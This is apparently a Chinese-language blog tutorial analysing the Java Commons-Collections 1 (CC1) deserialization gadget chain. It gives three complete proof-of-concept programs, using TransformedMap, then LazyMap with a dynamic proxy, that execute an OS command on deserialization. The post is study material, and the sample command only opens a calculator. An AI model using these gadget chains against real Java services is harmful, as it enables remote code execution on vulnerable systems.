java-CC1
2026-06-28 23:46:31

一开始不打算放上来的,但是想着如果要写分析过程的话放在语雀不太合适,不如放博客得了,即使可能没人看hhh

漏洞概述

CC1全称Commons-Collections1,是利用了Apache Commons项目中Commons-Collections库的一个反序列化漏洞,所以commons-collections组件反序列化漏洞的反射链也称为CC链

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

环境要求:jdk < 8u71&&CommonsCollections <= 3.2.1

p牛纯净版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String[].class},
new Object[]{new String[]{"calc","-a","Calculator"}}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("xxxx", "xxxx");
}
}

学一个东西要有自己的思考,不要一上来就去看教程,这样学到东西不仅仅是知识!即使这一点我相信大多数人都明白:特别是在高中的时候,写一道数学题几乎没有人不是先自己去做一遍才看答案的。但是我发现如今大多数人太急功近利失去了这一点。好了闲话少说。

运行上面的代码弹出了计算器,这是为什么呢?

首先分析:

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String[].class},
new Object[]{new String[]{"calc","-a","Calculator"}}),
};

定义了一个Transformer类型的数组

Transformer这玩意不知道是什么跟进一下:

image-20260622233748617

就是一个接口,那么数组里面的东西要能是Transformer类型的元素必然是实现了这个接口,而且是实例化的对象,所以下一步就是跟进这两个对象,要特别关注的就是这俩重写的方法transform

先看ConstantTransformer

image-20260622234406822

可以看到这里无论这个重写的方法接受任何参数,返回值在创建对象的时就已经确定了,就是Runtime.getRuntime(),众所周知这个对象是有名的可以命令执行的对象

再看InvokerTransformer,这家伙接受了三个参数

image-20260622235133083

关键自然就是看:

1
2
3
4
5
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

transform的形参是名为input的对象,那么cls就是input的class对象,method其实就是通过反射去获取input这个对象的方法,getMethod方法的第一个参数是要获取的方法名,对应的实际值就是exec,第二个参数是为了破除重载带来的分歧,在Java中支持类的重载,我们不能仅通过函数名来确定一个函数。所以,在调用getMethod的时候,我们需要传给他你需要获取的函数的参数类型列表。也就是这里的new Class[]{String[].class}

这里我们来认识一下这个方法接受的参数

image-20260623000027788

关键是第二个你会发现是个可变长的一个参数,那么对应前面的new Class[]{},所以对应exec的形参其实是String[]

image-20260623001738099

我们跟进一下

image-20260623002024404

继续跟进

image-20260623002148009

这里来到了java里面可以命令执行的第二个玩意ProcessBuilder,这里也算是让我知道了exec的底层原来是这玩意没必要跟进下去的必要了!

继续回到InvokerTransformer最后就是:

1
return method.invoke(input, this.iArgs);

就是方法的出触发了,到这里其实我就已经明白了一件事情,后面的要分析的代码其实就是在将ConstantTransformertransform方法的返回值给到InvokerTransformertransform方法的实参然后再调用它

image-20260623003045369

所以整个cc1其实非常简单就是在干这么件事儿,那么我们接着看后面是怎么玩的!

1
Transformer transformerChain = new ChainedTransformer(transformers);

前面的数组给到ChainedTransformer的构造方法,跟进看看这个类

image-20260623003901457

这里如果调用其transform方法的话,其实就是在遍历调用

image-20260623004016115

这个数组里面对象的transform方法,且前一个返回的object会给到后一个transform方法的形参

1
2
3
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("xxxx", "xxxx");

然后创建了一个HashMap对象,这个简单理解就是键值对存储。接着调用了一个装饰器,可以跟进看看

image-20260623004901428

返回一个实例化的TransformedMap对象成功进行装饰。接着来到最后环节,调用了里面的put方法

image-20260623005332022

一开是接受的key和value是随便乱给的字符串,所以这里去看看transformKeytransformValue

image-20260623005638138

因为keyTransformer为null,所以去看transformValue,此时valueTransformer

image-20260623010138295

所以这里其实就是调用了ChainedTransformertransform方法,而这个方法我们前面说过:前一个返回的object会给到后一个transform方法的形参,所以链子不就起来了吗!

简单总结一下就是:outerMap.put→ChainedTransformer:transform→ConstantTransformer:transform→InvokerTransformer:transform

TransformedMap编写POC

上面触发漏洞的核心在put,那么在实际的反序列化中我们就需要找一个类,它在反序列化的readObject逻辑里有类似的写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler

image-20260626233929312

在POC里面这里的meberValues就是我们反序列化后得到的Map,也是经过了TransformedMap修饰的对象就是我们demo里面的outerMap,然后setValue这里会充当原来demo里面的put的作用。那么接下来我们来分析一波。

因为调用的是memberValue的setValue,所以得知道它是什么!

先看看这个:memberValues.entrySet(),简单跟进可以发现调用的是:TransformedMap父类AbstractInputCheckedMapDecorator的entrySet方法

image-20260626235238822

可以发现返回的是EntrySet这个对象(内部类的实例),跟进:

image-20260626235539022

所以memberValues.entrySet()简单来说就是这个EntrySet对象,然后再来看memberValue

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

for-each其实底层使用的迭代器Iterator来遍历,可以等价为:

1
2
3
4
for (Iterator<Map.Entry<String, Object>> it = memberValues.entrySet().iterator(); it.hasNext(); ) {
Map.Entry<String, Object> entry = it.next();
//代码
}

所以memberValue其实就是MapEntry

image-20260627000904589

跟进

image-20260627000944939

成功看到setValue

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}

简单追溯一下this.parent发现其实就是:outerMap。那么不就是调用outerMap的checkSetValue方法嘛!

概述一下

到这也就是说如果output给到meberValues的时候,在满足一些条件,即可以达到setValue那里!

ok接下来我们来编写POC!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;


public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String[].class},
new Object[] {new String[]{"calc","-a","Calculator"}}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

innerMap.put("value", "rufeii");
Map<String, Object> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
//反序列化
ByteArrayInputStream unbarr = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(unbarr);
ois.readObject();
}
}

结合demo配合食用!

关于POC的两点说明:

一,Runtime本身不能序列化因为没实现java.io.Serializable接口,但是可以通过通过反射

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String[].class},
new Object[] {new String[]{"calc","-a","Calculator"}}),
};

二,就是如何触发到setValue?直接给结论:

1.sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

2.被TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以POC里面有:

1
2
innerMap.put("value", "rufeii");   //因为Retention有一个方法,名为value
Object obj = construct.newInstance(Retention.class, outerMap);

LazyMap编写POC

阅读ysoserial的源码你会发现它用的并不是TransformedMap,而是LazyMap。那么LazyMap是什么呢?

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform方法去获取一个值

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

但是问题在于如何调用就这里的get?答案是AnnotationInvocationHandler类的invoke方法有调用到get

image-20260628225043428

那么又如何能调用到AnnotationInvocationHandler#invoke呢?ysoserial的作者想到的是利用Java 的对象代理!

学过动态代理的同学都知道:Java动态代理的核心就是通过 Proxy.newProxyInstance() 在运行期生成一个实现了指定接口的代理类实例,所有方法调用都会被转发到你指定的 InvocationHandler.invoke()方法中。

那么回到这里只要我们创建一个AnnotationInvocationHandler实现了InvocationHandler的对象,并且创建一个动态代理对象,然后这个代理对象在调用任何一个方法不论存在与否就都会触发AnnotationInvocationHandler#invoke

所以,在上一章TransformedMap POC的基础上进行修改,首先使用LazyMap替换 TransformedMap:

1
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后再创建一个AnnotationInvocationHandler实现了InvocationHandler的对象,正好AnnotationInvocationHandler本身就实现了该接口,并且创建一个代理对象

1
2
3
4
5
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

所以这里只要让proxyMap去调用Map的任何方法!

但是这里我们的入口是:sun.reflect.annotation.AnnotationInvocationHandler#readObject

所以序列化的对象得是AnnotationInvocationHandler对象,那这里我们AnnotationInvocationHandler对这个proxyMap进行包裹不就两全其美了吗?

1
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);

image-20260628232522599

那这里的memberValues不就是proxyMap了吗?还调用了entrySet方法,就可以触发invoke了,那么接下来反序列化就好了呀。

完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;


public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String[].class},
new Object[] {new String[]{"calc","-a","Calculator"}}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

//创建代理对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

//包裹proxyMap
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

//序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
//反序列化
ByteArrayInputStream unbarr = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(unbarr);
ois.readObject();
}
}

概述一下

关键是如何触发get→如何去触发invoke?

动态代理proxyMap→通过包裹proxyMap→如何使得proxyMap去调用代理对象的方法?

答案是:反序列化触发readObject→proxyMap.entrySet()

Prev
2026-06-28 23:46:31